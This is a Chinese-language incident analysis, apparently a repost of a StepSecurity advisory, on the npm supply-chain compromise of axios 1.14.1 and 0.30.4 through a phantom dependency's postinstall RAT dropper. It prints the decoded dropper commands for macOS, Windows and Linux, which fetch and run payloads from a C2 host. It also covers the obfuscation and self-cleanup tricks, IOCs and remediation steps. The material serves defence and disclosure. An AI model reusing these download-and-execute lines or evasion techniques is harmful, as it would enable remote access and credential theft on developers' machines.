2026 年 3 月 30 日,StepSecurity 发现广泛使用的 axios HTTP 客户端库有两个恶意版本被发布到 npm:[email protected] 和 [email protected]。两个版本均使用 axios 核心维护者被盗的 npm 凭证发布,绕过了项目正常的 GitHub Actions CI/CD 流水线。攻击者将该维护者的账户邮箱更改为匿名的 ProtonMail 地址,并通过 npm CLI 手动发布了被投毒的包。
这些入侵行为由 StepSecurity AI Package Analyst 和 StepSecurity Harden-Runner 检测发现。问题已向项目维护者负责任地披露。
恶意版本注入了一个新依赖 [email protected],该依赖在 axios 源代码中从未被引用。它唯一的目的就是执行一个 postinstall 脚本,充当跨平台远程访问木马(RAT)投放器,目标覆盖 macOS、Windows 和 Linux。投放器会联系一个活跃的命令与控制(C2)服务器,投递针对不同平台的第二阶段载荷。执行完成后,恶意软件会自我删除并用干净版本替换自身的 package.json,以规避取证检测。
两个恶意版本中,axios 自身的代码没有包含任何一行恶意代码。相反,它们都注入了一个虚假依赖 [email protected]——一个在 axios 源码中从未被导入的包,其唯一目的就是运行一个 postinstall 脚本来部署跨平台远程访问木马(RAT)。投放器联系活跃的 C2 服务器,为 macOS、Windows 和 Linux 分别投递不同的第二阶段载荷,然后自我擦除并用干净的伪装版替换自身的 package.json,使得事后检查 node_modules 目录的开发者完全看不出任何异常。
这不是一次投机取巧的攻击。 恶意依赖提前 18 小时预埋。三个独立的载荷分别为三个操作系统预构建。两条发布分支在 39 分钟内先后中招。所有痕迹都被设计为自毁。这是有史以来针对 npm 前十热门包中,操作最精密的供应链攻击之一。
如果你安装了 [email protected] 或 [email protected],请假定你的系统已被入侵。
我们对恶意包进行了完整的静态和运行时分析,包括混淆投放器的完整解码。
攻击时间线
攻击在大约 18 小时内分阶段预埋,恶意依赖在 axios 发布之前就已植入 npm,以避免触发安全扫描器对"全新包"的警报:
| 时间戳(UTC) | 事件 |
|---|---|
| 2026-03-30 05:57 | [email protected] 由 [email protected] 发布——一个干净的伪装包,包含合法 crypto-js 源码的完整副本,没有 postinstall 钩子。其唯一目的是建立 npm 发布历史,使该包在后续检查时不会显示为零历史账户。 |
| 2026-03-30 23:59 | [email protected] 由 [email protected] 发布——添加了恶意载荷。引入了 postinstall: "node setup.js" 钩子和混淆投放器。 |
| 2026-03-31 00:21 | [email protected] 由被盗的 jasonsaayman 账户发布(邮箱:[email protected])——将 [email protected] 作为运行时依赖注入,目标是现代 1.x 用户群。 |
| 2026-03-31 01:00 | [email protected] 由同一被盗账户发布——相同的注入方式针对旧版 0.x 分支,39 分钟后发布以最大化两条发布线的覆盖范围。 |
| 2026-03-31 ~03:15 | npm 撤销了 [email protected] 和 [email protected]。两个版本从仓库中移除,latest dist-tag 回退到 1.14.0。[email protected] 存活了约 2 小时 53 分钟;[email protected] 存活了约 2 小时 15 分钟。 |
| 2026-03-31 03:25 | npm 对 plain-crypto-js 发起安全冻结,开始用 npm security-holder 占位包替换恶意包。 |
| 2026-03-31 04:26 | npm 在 [email protected] 账户下发布安全占位版本 [email protected],正式替换仓库中的恶意包。[email protected] 存活了约 4 小时 27 分钟。此后尝试安装任何版本的 plain-crypto-js 都会返回安全通知。 |
背景:什么是 axios?
axios 是 JavaScript 生态系统中最流行的 HTTP 客户端库。几乎每个发起 HTTP 请求的 Node.js 和浏览器应用都在使用它——从 React 前端到 CI/CD 工具再到服务端 API。axios 每周下载量超过 3 亿次,即使只有一个小版本被入侵,其潜在影响范围也极其庞大。开发者执行常规的 npm install 或 npm update 时,完全没有理由怀疑这个包正在部署恶意软件。
攻击原理
第一步——维护者账户劫持
攻击者入侵了 jasonsaayman 的 npm 账户——这是 axios 项目的主要维护者。该账户的注册邮箱被更改为 [email protected]——一个攻击者控制的 ProtonMail 地址。利用这一权限,攻击者同时在 1.x 和 0.x 发布分支上发布了恶意构建,最大化了受影响项目的数量。
[email protected] 和 [email protected] 在 npm 仓库中都记录为由 jasonsaayman 发布,乍一看与合法版本无法区分。
关键的取证信号可以在 npm 仓库元数据中看到。每个合法的 axios 1.x 版本都是通过 GitHub Actions 配合 npm 的 OIDC 可信发布者机制发布的,这意味着发布行为与经过验证的 GitHub Actions 工作流进行了加密绑定。而 [email protected] 完全打破了这一模式——通过窃取的 npm 访问令牌手动发布,没有 OIDC 绑定,也没有 gitHead:
// [email protected] -- 合法版本
"_npmUser": {
"name": "GitHub Actions",
"email": "[email protected]",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// [email protected] -- 恶意版本
"_npmUser": {
"name": "jasonsaayman",
"email": "[email protected]"
// 没有 trustedPublisher,没有 gitHead,没有对应的 GitHub commit 或 tag
}
axios GitHub 仓库中没有任何 commit 或 tag 对应 1.14.1。该版本仅存在于 npm 上。合法版本使用的 OIDC 令牌是临时的,且限定于特定工作流——无法被窃取。攻击者必定获取了该账户的长期有效经典 npm 访问令牌。
第二步——预埋恶意依赖
在发布带后门的 axios 版本之前,攻击者在 npm 上预埋了一个恶意包:[email protected],由一个独立的一次性账户(nrwise,[email protected])发布。注意两个账户一致地使用 ProtonMail——这是该攻击者的操作特征。
这个包被刻意设计成看起来合法的样子:
- 伪装成 crypto-js——相同的描述("JavaScript library of crypto standards")、相同的作者署名(Evan Vosberg)、相同的仓库 URL 指向 github.com/brix/crypto-js
- 包含 postinstall 钩子:
"postinstall": "node setup.js"——在每次npm install时自动执行,无需任何用户操作 - 预埋证据销毁机制——包含一个名为 package.md 的文件,这是一个干净的 package.json 存根(版本 4.2.0,无 postinstall),准备在攻击运行后覆盖真实的清单文件
第三步——将恶意依赖注入 axios
攻击者发布的 [email protected] 和 [email protected] 添加了 plain-crypto-js: "^4.2.1" 作为运行时依赖——这个包从未出现在任何合法的 axios 版本中。修改非常精准:其他所有依赖与之前的干净版本完全一致。
干净版本与受感染版本的依赖对比:
- [email protected] — follow-redirects, form-data, proxy-from-env 【干净】
- [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 【恶意】
- [email protected] — follow-redirects, form-data, proxy-from-env 【干净】
- [email protected] — follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 【恶意】
当开发者运行 npm install [email protected] 时,npm 解析依赖树并自动安装 [email protected]。然后 npm 执行 plain-crypto-js 的 postinstall 脚本,启动投放器。
幽灵依赖:对 [email protected] 中全部 86 个文件进行 grep 搜索确认,plain-crypto-js 在 axios 源代码中从未被 import 或 require()。它被添加到 package.json 中仅仅是为了触发 postinstall 钩子。一个出现在清单中但在代码库中零使用的依赖,是发布版本被入侵的高置信度指标。
RAT 投放器:setup.js——静态分析
setup.js 是一个单独的压缩文件,采用两层混淆方案,旨在规避静态分析工具并迷惑人工审查者。
混淆技术
所有敏感字符串——模块名、操作系统标识、shell 命令、C2 URL 和文件路径——都以编码值存储在名为 stq[] 的数组中。两个函数在运行时解码它们:
_trans_1(x, r) — XOR 密码。密钥 "OrDeR_7077" 通过 JavaScript 的 Number() 解析:字母字符产生 NaN,在位运算中变为 0。只有位置 6-9 的数字 7、0、7、7 存活,得到有效密钥 [0,0,0,0,0,0,7,0,7,7]。位置 r 的每个字符解码为:
charCode XOR key[(7 * r * r) % 10] XOR 333
_trans_2(x, r) — 外层。反转编码字符串,将 _ 替换为 =,base64 解码结果(将字节解释为 UTF-8 以恢复 Unicode 码点),然后将输出传递给 _trans_1。
投放器的入口点是 _entry("6202033"),其中 6202033 是 C2 URL 路径段。完整的 C2 URL 为:http://sfrclak.com:8000/6202033
完整解码字符串
StepSecurity 完整解码了 stq[] 数组中的每个条目。恢复的明文揭示了完整的攻击:
stq[0] -> "child_process" // shell 执行
stq[1] -> "os" // 平台检测
stq[2] -> "fs" // 文件系统操作
stq[3] -> "http://sfrclak.com:8000/" // C2 基础 URL
stq[5] -> "win32" // Windows 平台标识
stq[6] -> "darwin" // macOS 平台标识
stq[12] -> "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] -> "package.json" // 执行后删除
stq[14] -> "package.md" // 干净存根重命名为 package.json
stq[15] -> ".exe"
stq[16] -> ".ps1"
stq[17] -> ".vbs"
平台特定载荷
投放器检查 os.platform() 并分支到三条攻击路径之一:
macOS AppleScript 投放器
在 macOS(darwin)上,投放器将一个 AppleScript 文件写入系统临时目录并静默执行:
nohup osascript "<temp_file>" > /dev/null 2>&1 &
AppleScript 使用 POST body packages.npm.org/product0 联系 C2 服务器,下载 macOS RAT 二进制文件,保存到 /Library/Caches/com.apple.act.mond(一个设计得看起来像合法 Apple 系统缓存条目的路径),使用 chmod 770 赋予可执行权限,并通过 /bin/zsh 在后台启动:
do shell script "curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
&> /dev/null"
AppleScript 文件执行后即被删除。唯一的持久化产物是 /Library/Caches/com.apple.act.mond。该路径经过精心选择:/Library/Caches/ 是系统级目录,在应急响应中很少被检查,而 com.apple.act.mond 这个名字模仿了 Apple 的反向 DNS 守护进程命名约定——后缀很可能是 "Activity Monitor Daemon" 的缩写,用于与同目录中合法的 Apple 后台进程混在一起。
Windows VBScript + PowerShell 投放器
在 Windows(win32)上,攻击链涉及三个阶段:
- 运行
where powershell定位 PowerShell 二进制文件路径 - 将 PowerShell 二进制文件复制到
%PROGRAMDATA%\wt.exe——伪装成 Windows Terminal 可执行文件,提供解释器的持久副本 - 将 VBScript(.vbs)写入临时目录并通过
cscript //nologo执行
VBScript 运行一个完全隐藏的 cmd.exe 窗口(0, False 抑制所有 UI):
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST " & _
"-d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > ""<temp.ps1>"" " & _
"& powershell -w hidden -ep bypass -file ""<temp.ps1>"" " & _
"""http://sfrclak.com:8000/6202033"" & del ""<temp.ps1>"" /f", 0, False
C2 返回一个 PowerShell RAT 脚本,保存为 %TEMP%\6202033.ps1(使用活动 ID 作为文件名)。它以 -ExecutionPolicy Bypass 和 -WindowStyle Hidden 运行,然后自我删除。VBScript(%TEMP%\6202033.vbs)也在 cscript 执行后被删除。唯一的持久化产物是 %PROGRAMDATA%\wt.exe。
Linux Python 投放器
在所有其他平台(Linux 等)上,投放器通过 Node.js 的 execSync 执行直接的 shell 命令:
curl -o /tmp/ld.py \
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
C2 返回一个 Python RAT 脚本。它被保存到 /tmp/ld.py 并通过 nohup 在后台执行。文件保留在 /tmp/ld.py。
三个产品,一个 C2:每个平台向相同的 C2 URL 发送不同的 POST body——packages.npm.org/product0(macOS)、packages.npm.org/product1(Windows)、packages.npm.org/product2(Linux)。这允许 C2 服务器通过单一端点响应平台适配的载荷。POST body 中的 packages.npm.org/ 前缀是一种刻意的伪装,试图在网络日志和 SIEM 规则中让出站流量看起来像正常的 npm 仓库通信。
自清理——隐藏证据
启动平台载荷后,setup.js 执行三个取证清理步骤,使标准的事后分析变得不可靠:
- 删除自身 —
fs.unlink(__filename)从安装包目录中移除 setup.js - 删除 package.json — 移除包含
"postinstall": "node setup.js"钩子的文件 - 将 package.md 重命名为 package.json — 预埋的干净存根(版本 4.2.0,无 postinstall,无 setup.js 引用)被移动到位
事后检查 node_modules/plain-crypto-js/package.json 会看到一个完全干净的清单文件。没有 postinstall 脚本,没有 setup.js 文件,没有任何恶意安装的痕迹。运行 npm audit 或手动审查已安装的包目录都不会发现入侵。
为什么目录的存在仍然很重要:即使在清理之后,node_modules/plain-crypto-js/ 目录的存在本身就足以证明被入侵——这个包不是任何合法 axios 版本的依赖。如果你发现这个目录,投放器已经运行过了。
运行时执行验证:StepSecurity Harden-Runner
混淆投放器的静态分析告诉我们恶意软件"打算"做什么。为了确认它确实按设计执行,我们在一个配备了 StepSecurity Harden-Runner 审计模式的 GitHub Actions 运行器中安装了 [email protected]。Harden-Runner 在内核级别捕获每个出站网络连接、每个派生进程和每次文件写入——在审计模式下不干预执行,为我们提供了 npm install 运行时完整的真实画面。
网络事件:跨两个工作流步骤确认 C2 联系
网络事件日志包含两个到 sfrclak.com:8000 的出站连接——特别值得注意的是它们发生的时机:
- 步骤:Install axios 1.14.1 — 01:30:51Z,PID 2401 · curl -> sfrclak.com:8000 · calledBy: infra
- 步骤:Verify axios import and version — 01:31:27Z,PID 2400 · nohup -> sfrclak.com:8000 · calledBy: infra
两个立即引人注目的点:
- 第一个 C2 连接(curl,PID 2401)在
npm install开始后 1.1 秒触发——01:30:51Z,距 npm install 开始的 01:30:49Z 仅 2 秒。postinstall 钩子触发后,解码字符串,在 npm 还没完成所有依赖解析之前就已经向外部服务器发起了 HTTP 连接。 - 第二个 C2 连接(nohup,PID 2400)在 36 秒后发生,在一个完全不同的工作流步骤中——"Verify axios import and version"。npm install 步骤早已结束。恶意软件以分离的后台进程持续运行到了后续步骤。这是第二阶段 Python 载荷(
/tmp/ld.py)发起的回调——独立于生成它的进程。
进程树:运行时观察到的完整攻击链
Harden-Runner 捕获每个 execve 系统调用。原始进程事件重建了从 npm install 到 C2 联系的精确执行链:
PID 2366 bash /home/runner/work/_temp/***.sh [01:30:48.186Z]
-> PID 2380 env node npm install [email protected] [01:30:49.603Z]
-> PID 2391 sh -c "node setup.js" [01:30:50.954Z]
| cwd: node_modules/plain-crypto-js <- postinstall 钩子触发
-> PID 2392 node setup.js [01:30:50.955Z]
| cwd: node_modules/plain-crypto-js
-> PID 2399 /bin/sh -c "curl -o /tmp/ld.py \ [01:30:50.978Z]
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py \
http://sfrclak.com:8000/6202033 \
> /dev/null 2>&1 &"
PID 2401 curl -o /tmp/ld.py -d packages.npm.org/product2 [01:30:50.979Z]
ppid: 2400 <- nohup 的子进程
PID 2400 nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 [01:31:27.732Z]
ppid: 1 <- 孤立到 INIT——已从 npm 进程树中分离
进程树确认了从 setup.js 静态解码的精确执行链。从原始 npm install 到 C2 回调之间有四层进程间接调用:npm -> sh -> node -> sh -> curl/nohup。nohup 进程(PID 2400)报告 ppid: 1 是守护化技术的技术确认——当 npm install 成功返回时,一个分离的进程已经在后台运行 /tmp/ld.py 了。
入侵指标(IOC)
恶意 npm 包
- [email protected] · shasum:
2553649f232204966871cea80a5d0d6adc700ca - [email protected] · shasum:
d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 - [email protected] · shasum:
07d889e2dadce6f3910dcbc253317d28ca61c766
网络指标
- C2 域名 ·
sfrclak.com - C2 IP ·
142.11.206.73 - C2 URL ·
http://sfrclak.com:8000/6202033 - C2 POST body(macOS)·
packages.npm.org/product0 - C2 POST body(Windows)·
packages.npm.org/product1 - C2 POST body(Linux)·
packages.npm.org/product2
文件系统指标
- macOS ·
/Library/Caches/com.apple.act.mond - Windows(持久化)·
%PROGRAMDATA%\wt.exe - Windows(临时,自删除)·
%TEMP%\6202033.vbs - Windows(临时,自删除)·
%TEMP%\6202033.ps1 - Linux ·
/tmp/ld.py
攻击者控制的账户
- jasonsaayman · 被入侵的合法 axios 维护者,邮箱被更改为 [email protected]
- nrwise · 攻击者创建的账户,[email protected],发布了 plain-crypto-js
安全版本参考
- [email protected](安全)· shasum:
7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
我是否受到影响?
检查项目中是否存在恶意 axios 版本:
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
检查 node_modules 中是否存在 plain-crypto-js:
ls node_modules/plain-crypto-js 2>/dev/null && echo "可能受影响"
如果 setup.js 已经运行,该目录中的 package.json 已被替换为干净存根。目录的存在本身就足以证明投放器已执行。
检查受影响系统上的 RAT 产物:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "已被入侵"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "已被入侵"
# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo 已被入侵
检查 CI/CD 流水线日志中是否有任何 npm install 执行拉取了 [email protected] 或 [email protected]。任何安装了这两个版本的流水线都应被视为已被入侵,所有注入的密钥都应立即轮换。
修复措施
- 降级 axios 到干净版本并锁定:
npm install [email protected] # 1.x 用户
npm install [email protected] # 0.x 用户
添加 overrides 块以防止传递解析回退到恶意版本:
{
"dependencies": { "axios": "1.14.0" },
"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }
}
- 从 node_modules 中移除 plain-crypto-js:
rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts
如果发现 RAT 产物:将系统视为完全被入侵。不要尝试原地清理——从已知安全的状态重新构建。
在所有运行过恶意包的系统上轮换所有凭证:npm 令牌、AWS 访问密钥、SSH 私钥、云凭证(GCP、Azure)、CI/CD 密钥,以及安装时可访问的 .env 文件中的所有值。
审计 CI/CD 流水线中安装了受影响版本的运行记录。任何执行了这些版本的
npm install的工作流都应轮换所有注入的密钥。在 CI/CD 中使用
--ignore-scripts作为常规策略,防止自动构建期间运行 postinstall 钩子:
npm ci --ignore-scripts
- 在网络/DNS 层面封锁 C2 流量,作为对任何可能受影响系统的预防措施:
# 通过防火墙封锁(Linux)
iptables -A OUTPUT -d 142.11.206.73 -j DROP
# 通过 /etc/hosts 封锁(macOS/Linux)
echo "0.0.0.0 sfrclak.com" >> /etc/hosts
原文链接:StepSecurity - axios Compromised on npm
推文来源:@evilcos